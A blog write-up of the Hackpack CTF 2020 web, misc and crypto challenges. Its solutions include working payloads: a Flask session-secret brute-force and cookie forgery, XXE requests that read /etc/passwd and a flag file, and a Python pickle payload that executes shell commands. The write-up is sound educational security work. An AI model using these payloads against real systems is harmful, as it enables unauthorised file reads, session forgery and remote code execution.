Hackpack CTF 2020

Posted on 28 Apr 2020 in security • 6 min read

Hackpack CTF logo

This weekend I participate to the Hackpack CTF with the team hackers for the jilted generation (mostly me this time). We finished 126th with 811 points. Here are some writeup about the challenges.

Web

Treasure Map

Hmm, do pirates really think they can hide a treasure without us knowing? Find the treasure and prove they are wrong. Check here: treasure-map.cha.hackpack.club

The webpage contain the following:

Treasure of the Pirates!
It should in some of this (or hidden) island!

Hint: you need a map of this place to find it!

Island #0
Island #1
<SNIP>
Island #9998
Island #9999

We are looking for the map. We check robots.txt: it contains: Sitemap: /treasuremap.xml

The file /treasuremap.xml contain the location of the "treasure":

<urlset>
<url>
<loc>7BmqJfhWhEa30NeVj7j2.html</loc>
<lastmod>2005-01-01</lastmod>
<changefreq>monthly</changefreq>
<priority>0.8</priority>
</url>
</urlset>

And the "treasure" contain the flag: flag{tr3asur3_hunt1ng_fUn}

Super Secret Flag Vault

See if you can get into the super secret flag vault! I have used the latest and greatest techniques with php to make sure you cant get past my vault.

The index.php file is available:

<?php
      // this is how I store hashes right?
      $hash = "0e770334890835629000008642775106";
      if(array_key_exists("combination",$_REQUEST) && $_REQUEST["combination"] !== ''){
          //Isn't it great that == works in every language?
          if(array_key_exists("debug", $_REQUEST)){
              echo "<br> ". md5($_REQUEST["combination"]);
          }
          if(md5($_REQUEST["combination"]) == $hash){
              echo "<br> The Flag is flag{...}<br>";
          }
          else{
              echo "<br>Wrong!<br>";
          }

      }
?>

The value of hash is just a number using scientific notation. This is a php loose comparison. Using a input that will also be considered as a number will set the condition to true. We use 240610708, which md5 hash is 0e462097431906509019562988736854, as a password and we got the flag.

The Flag is flag{!5_Ph9_5TronGly_7yPed?}

Paster

Come and BETA Test our new social networking site. Its like twitter but shorter Go checkout Paster now

The site looks like the following:

Paster

When looking at the downloaded content we fount that the file frames/game-frame.js is downloaded. It contains 248 311 characters as the following:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+
(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+
[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])
[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]
<SNIP>

This is JSfuck. We use an online decoder to decode it. The output is some clear JavaScript.

parent.postMessage(window.location.toString(),"*");var originalAlert=window.
alert;window.alert=function(t){parent.postMessage("success","*"),
flag=atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99"),setTimeout(function()
{originalAlert("Congratulations, you executed an alert:\n\n"+t+"\n\nhere is the flag: "+flag)},50)};

We where probably supposed to do some XSS to get the flag but we got it either way.

$ echo -ne 'ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99' | base64 -d
flag{x55_i5Nt_7hA7_bAD_R1Gh7?}[

Cookie Forge

Help a new local cookie bakery startup shake down their new online ordering and loyalty rewards portal at cookie-forge.cha.hackpack.club!

I wonder if they will sell you a Flask of milk to go with your cookies...

The website is using flask. A page is reserved for premium member.

We know that flask cookie have some issues.

We place an order. Login as toto:toto get the cookie and pass it to flask-unsign. The tool can decode it as the secret is only use to sign the cookie.

$flask-unsign -d -c 'eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoidG90byJ9.Xp2SeA.1l6nDFaIsDZ8bCXcxdtORRVIBK0'
{'flagship': False, 'username': 'toto'}

We need to get the secret to forge our own cookie

$ flask-unsign --server https://cookie-forge.cha.hackpack.club/orders --unsign
[*] Server returned HTTP 302 (Found)
[+] Successfully obtained session cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIllvdSBtdXN0IGxvZyBpbiBmaXJzdCEiXX1dfQ.Xp2TwA.IiGnkGfSx0j-O_vLTjmUyU95zLQ
[*] Session decodes to: {'_flashes': [('warning', 'You must log in first!')]}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 39090 attempts
'password1'

We modify the flagship value and sign our cookie with the secret password1

$ flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"
eyJmbGFnc2hpcCI6dHJ1ZSwidXNlcm5hbWUiOiJ0b3RvIn0.Xp2TRQ.XlXCKJYANDb9ghp5ms_fKQhTkVY

Using Burp repeater we modify our cookie to get the flag

GET /flag HTTP/1.1
Host: cookie-forge.cha.hackpack.club
Cookie: session=eyJmbGFnc2hpcCI6dHJ1ZSwidXNlcm5hbWUiOiJ0b3RvIn0.Xp2TRQ.XlXCKJYANDb9ghp5ms_fKQhTkVY
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Content-Length: 2617
Content-Type: text/html; charset=utf-8
Date: Mon, 20 Apr 2020 12:26:22 GMT
Server: meinheld/1.0.1
Vary: Cookie
<SNIP>
<p>You are a <em>special</em> customer!
    To come back for more, sugar-coma after sugar-coma, in the face of mounting pressure from your doctors,
    your family, and your own common sense&hellip;
    <strong>That's</strong> dedication.
</p>
<p>Just to show our appreciation for your morbid commitment to our life-altering products, we're giving you this flag:</p>
<code>flag{0h_my_@ch1ng_p@ncre@5_th33$3_@r3_d3l1c10$0}</code>

Custom UI

How often do you visit the website just to bounce back because of bad design? Now we developed a new feature, which gives you the ability to change the design! Check out a new feature: custom-ui.cha.hackpack.club

page

We can input data to change the button color and add text to it. If we input <script> we trigger an error:

Warning: DOMDocument::loadXML(): Opening and ending tag mismatch: script line 1 and value in Entity, line: 1 in /var/www/html/index.php on line 12
Warning: DOMDocument::loadXML(): Opening and ending tag mismatch: value line 1 and button in Entity, line: 1 in /var/www/html/index.php on line 12
Warning: DOMDocument::loadXML(): Premature end of data in tag button line 1 in Entity, line: 1 in /var/www/html/index.php on line 12
Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/index.php on line 13

Therefore we will go for a XML External Entity (XXE) Injection.

POST /? HTTP/1.1
Host: custom-ui.cha.hackpack.club
Content-Type: application/x-www-form-urlencoded
Cookie: debug=false
Content-Length: 198

xdata=%3c!DOCTYPE%20foo%20[%3c!ENTITY%20xxez1rnx%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3e%20]%3e%3cbutton%3e%3ccolor%3e%26xxez1rnx%3b%3c%2fcolor%3e%3cvalue%3eiii%3c%2fvalue%3e%3c%2fbutton%3e

<SNIP>
<body>
  <div style="max-width:600px; margin:auto">
    <h1>Your custom button!</h1>
          <button style="background-color: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
; padding: 15px 32px;">
<SNIP>

We change the debug cookie to true and we get a comment at the bottom of the page: <!-- TODO: Delete flag.txt from /etc/ --></body>

POST /? HTTP/1.1
Host: custom-ui.cha.hackpack.club
Content-Type: application/x-www-form-urlencoded
Cookie: debug=false
Content-Length: 200

xdata=%3c!DOCTYPE%20foo%20[%3c!ENTITY%20xxez1rnx%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fflag.txt%22%3e%20]%3e%3cbutton%3e%3ccolor%3e%26xxez1rnx%3b%3c%2fcolor%3e%3cvalue%3eiii%3c%2fvalue%3e%3c%2fbutton%3e

<SNIP>
<button style="background-color: flag{d1d_y0u_kn0w_th@t_xml_can_run_code?}; padding: 15px 32px;">
<SNIP>

Misc

SSME

Welcome to our Super Secure Message Encrypter (SSME - copyright pending) nc cha.hackpack.club 41704

We connect to the service. We encrypt the string qq and decode it.

$ nc cha.hackpack.club 41704
[*] Welcome to our Super Secure Message Encrypter (SSME - copyright pending)
[*] We use patented technology that only we have access to in order to safely encrypt your data
[*] Please use this tool to encrypt/decrypt messages

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 1
What would you like to encrypt? qq
[+] Message encrypted: gANYAgAAAHFxcQAu


[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 2
Please enter the encrypted string here: gANYAgAAAHFxcQAu
[+] Message decrypted: qq

Then we send a malformed input for the decryption, that generate an error:

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 2
Please enter the encrypted string here: gANYAgAAAHFxc
Traceback (most recent call last):
  File "/usr/lib/python3.6/encodings/base64_codec.py", line 19, in base64_decode
    return (base64.decodebytes(input), len(input))
  Fle "/usr/lib/python3.6/base64.py", line 546, in decodebytes
    return binascii.a2b_base64(s)
binascii.Error: Incorrect padding

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/home/challenger/app.py", line 46, in <module>
    main()
  File "/home/challenger/app.py", line 37, in main
    dec = decrypt(to_dec)
  File "/home/challenger/app.py", line 24, in decrypt
    return pickle.loads(codecs.decode(to_dec.encode(), "base64"))
binascii.Error: decoding with 'base64' codec failed (Error: Incorrect padding)i

The error disclose the use of the python pickle which are know to be vulnerable an allowing command execution.

We create a pickle to execute OS commands on the system:

>>> import pickle
>>> import subprocess
>>> import base64
>>>
>>> class RunBinSh(object):
...   def __reduce__(self):
...     return (subprocess.Popen, (('ls',),))
...
>>> print base64.b64encode(cPickle.dumps(RunBinSh()))
b'gASVIwAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwCbHOUhZSFlFKULg=='

We decode the generate pickle

$ nc cha.hackpack.club 41704
[*] Welcome to our Super Secure Message Encrypter (SSME - copyright pending)
[*] We use patented technology that only we have access to in order to safely encrypt your data
[*] Please use this tool to encrypt/decrypt messages

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> 2
Please enter the encrypted string here: gASVIwAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwCbHOUhZSFlFKULg==
[+] Message decrypted: <subprocess.Popen object at 0x7f2b6d9a9550>

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> app.py
flag.txt

We generate a new pickle to read the flag:

>>> class RunBinSh(object):
...   def __reduce__(self):
...     return (subprocess.Popen, (('cat', 'flag.txt',),))
...
>>> print(base64.b64encode(pickle.dumps(RunBinSh())))
b'gASVLwAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwIZmxhZy50eHSUhpSFlFKULg=='

Please enter the encrypted string here: gASVLwAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwIZmxhZy50eHSUhpSFlFKULg==
[+] Message decrypted: <subprocess.Popen object at 0x7f2b6d9a4438>

[*] Please select from the following options
1.) Encrypt a message
2.) Read a message
3.) Quit
> flag{n3v3R_u$e_p!ckLe_w_uNtru$t3d_d4t4}

Hiding in Plaintext

Connect to CryptoKid's Mall of MirrXors at cha.hackpack.club:41715 to try your hand at guessing the flag! (Mr. Vernam says CryptoKid stole his ideas, but Miss Venona says he stole them...badly...)

We understand that the service is doing XOR encryption. We connect to it and thee that there is the encrypted flag and that we can encrypt anything we want.

$ nc cha.hackpack.club 41715
Welcome to CryptoKid's Hall of MirrXors!
Here is BASE64(ENC(FLAG, SESSION_KEY)) => bwHJ1+IUTxTLWyYalXkyC3m5B4lRj+4BerJ3S/WxWj4kKbbqdx/M6nh8bCE+C0ZjJJc9hKHMPSTwUQ==
Wanna guess what FLAG is? qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
Here is BASE64(ENC(GUESS, SESSION_KEY)) => eBzZwegLDhGXXj9YyWVzCXzlR5VQjKwDePJwCamwRw9kNrOofhqQ7Xxhc30tD0M/Io582LP9PmbyXXgc2cHoCw4Rl14/WMllcwl85UeVUIysA3jy
How'd you do??

We have a known clear text attack on a XOR encryption. We just need to XOR the encoded flag to our encrypted plain text qqqqqq… then XOR it again with our clear plain text. Here is the Cyber Chef recipe that give us the flag: flag{n0t-th3-m0st-1mpr3ss1v3-pl@1nt3xt-vuln-but-wh0-c@r3s}.

Wrapping up

This was a nice CTF as the challenges were quite doable.

score board